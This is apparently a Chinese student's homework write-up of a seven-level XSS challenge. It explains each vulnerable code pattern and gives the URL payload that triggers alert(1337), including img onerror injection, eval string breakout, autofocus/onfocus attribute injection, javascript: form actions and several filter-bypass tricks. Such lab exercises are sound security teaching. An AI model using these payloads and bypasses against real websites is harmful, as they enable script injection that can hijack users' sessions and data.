第三次作业

第一关

somebody赋值运行结果

innerHTML函数的安全问题，<script>标签被过滤

换用<img>标签输入?somebody=<img src=1 οnerrοr="alert(1337)">成功弹窗

浏览器会解析 innerHTML，从而导致 onerror 事件处理器被注入并执行，弹出 alert(1337) 的对话框

使用innerHTML，得到输出

使用innerText，得到输出

两者对比发现innerText函数比innerHTML函数安全，将标签直接当作文本输出

第二关

写入?jeff=tony";alert(1337);"成功弹窗

eval 中，没有进行任何清理或验证，攻击者可以通过操控 jeff 参数来执行任意 JavaScript 代码

eval 将执行 alert(1337)，导致弹出对话框

以下是拼接后的代码

另一种方法，但输出有问题

代码debug正常

第三关

使用 replace(/[<>]/g, '') 过滤掉字符串中的 < 和 > 字符。

最终的字符串被设置为 uganda 元素的 innerHTML，其中包含一个带有 placeholder 属性的 <input> 元素。

测试一下

可以使用onfocus和autofocus

输入?wey=tony" οnfοcus="alert(1337) autofocus="成功弹窗

第四关

ricardo.action 通过从 URL 中提取 ricardo 查询参数的值来动态设置表单的提交目标

setTimeout 函数在两秒后自动提交表单

ricardo.action 直接从 URL 中获取输入并用于设置表单的 action 属性，可以通过操纵 ricardo 参数的值来将表单提交

测试

输入?ricardo=javascript:alert(1337);

表单在两秒后提交时，会执行 javascript:alert(1337)，弹出一个对话框

第五关

使用 replace(/[\(\)\]/g, '')过滤掉字符串中的圆括号()、反引号 `` `` 和反斜杠 \。

但用户输入设置为 innerHTML

编码了符号，无法执行，location变成字符串，然后编码实现

导致浏览器执行 onerror 事件处理器中的 alert(1337)

输入?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">成功弹窗

第六关

balls = balls.replace(/[A-Za-z0-9]/g, '') 过滤掉 balls 字符串中的所有字母和数字字符。

选择编码绕过

alert(1337)的编码：

url encode编码：

输入

成功弹窗

第七关

函数构造

因为alert被过滤，使用ALERT，使用toLowerCase()函数将大写转小写

输入?mafia=Function(/ALERT(1337)/.source.toLowerCase())();成功弹窗

parselnt和toString函数使用

输入?mafia=eval(8680439..toString(30))(1337);成功弹窗

slice()截取函数

输入?mafia=eval(location.hash.slice(1))#alert(1337);成功弹窗